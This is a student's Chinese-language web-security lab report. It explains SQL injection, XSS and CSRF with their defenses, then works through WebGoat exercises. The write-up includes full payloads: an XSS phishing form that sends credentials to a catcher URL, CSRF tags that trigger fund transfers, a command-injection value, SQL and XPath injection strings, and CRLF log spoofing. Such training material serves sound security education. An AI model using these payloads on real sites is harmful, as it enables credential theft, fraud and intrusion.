20155333 《网络对抗》 Exp9 Web安全基础 20155333 《网络对抗》 Exp9 Web安全基础

基础问题回答

1.SQL注入攻击原理,如何防御?

  • 原理:
    通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。

防御:

  • 可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
  • 可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。

2.XSS攻击的原理,如何防御?

  • 原理:
    攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。

  • 防御:
    浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。

一个原则:不相信用户输入的任何数据!

3.CSRF攻击原理,如何防御?

  • 原理:
    CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
    主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码

  • 防御:

    • 改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。
    • 使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

实践

WebGoat

  • 下载webgoat-container-7.1-war-exec.jar文件
  • 在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.1-war-exec.jar开启WebGoat
  • 在浏览器中输入“http://localhost:8080/WebGoat”进入WebGoat登录界面
  • 使用用默认用户名密码登录

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击

  • 在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS

  • 将下面这段代码输入到"Search:"输入框中,点击search;

<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

会出现代码中所指定的绿、红、蓝三块div

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

下方出现用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

在登录框中输入用户名、密码,eg:20155333 123456,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

Stored XSS Attacks 存储型XSS攻击

  • 打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks
  • 在Message框中输入上面那段代码,并点击submit,Title随便输入
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

提交后,下方“Message List”中会新增刚输入的Tile名字的链接

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

点击链接可以看到html已经注入成功,messege部分显示的是绿、红、蓝三色框

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

在下方用户名密码处输入,eg:20155333 123456

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

点击提交后,成功获取用户名和密码

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

Reflected XSS Attacks 反射型XSS攻击

  • 打开xss的第三个攻击Reflected XSS Attacks

  • 在“Enter your three digit access code:”中输入<script>alert("5333");</script>点击Purchase,成功显示警告框,内容为我们script脚本指定的内容

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

输入前面编写的脚本,同样会成功

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

CSRF攻击

Cross Site Request Forgery(CSRF)

  • 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)

  • 查看页面下方Parameters中的src和menu值,分别为2078372和900

  • 在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=10000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

  • 提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的10000元,从而达到CSRF攻击的目的

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

CSRF Prompt By-Pass

  • 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass

  • 同攻击4,查看页面下侧Parameters中的src和menu值(1471017872和900),并在message框中输入代码:

<iframe src="attack?Screen=	1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=	1471017872&menu=900&transferFunds=CONFIRM"> </iframe>

在Message List中生成以Title命名的链接,点击进入后,攻击成功

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

SQL注入攻击

命令注入(Command Injection)

  • 按F12进入调试界面,选择Inspect...对源代码进行修改。

  • AccessControlMatrix.help后面加上"& netstat -an & ipconfig"

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

点击view,即可查看命令执行结果

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

Numeric SQL Injection

  • 按F12进入调试界面,选择Inspect...对源代码进行修改。

  • 在选项列表中,任意选择一个值,比如“101”,后面加上or 1=1

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

输出如下

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

日志欺骗(Log Spoofing)

  • 在username中填入5333%0d%0aLogin Succeeded for username: admin,利用回车(0D%)和换行符(%0A)让其在日志中两行显示

  • 点击Login,可见5333在Login Fail那行显示,添加的语句在下一行显示

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>作为用户名输入

XPATH Spoofing

在用户名处注入Smith' or 1=1 or 'a'='a,这将会显示登录系统的第一个用户。密码是必须的字段,可以任意输入,“登录”可看到其他人的信息

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

LAB:SQL Injection

  • 在密码框输入' or 1=1 --,登录失败用Firebug查看网页源码,发现密码长度有限制

  • 将密码长度maxlength改为100,再次尝试

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

登录成功

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

字符串型注入(String SQL Injection)

  • 择Injection Flaws中的String SQL Injection

  • 输入查询的用户名Smith' or 1=1--

这样Smith 和1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的所有数据。

20155333 《网络对抗》 Exp9 Web安全基础
20155333 《网络对抗》 Exp9 Web安全基础

总结与体会

本课程最后一次实验,圆满结束!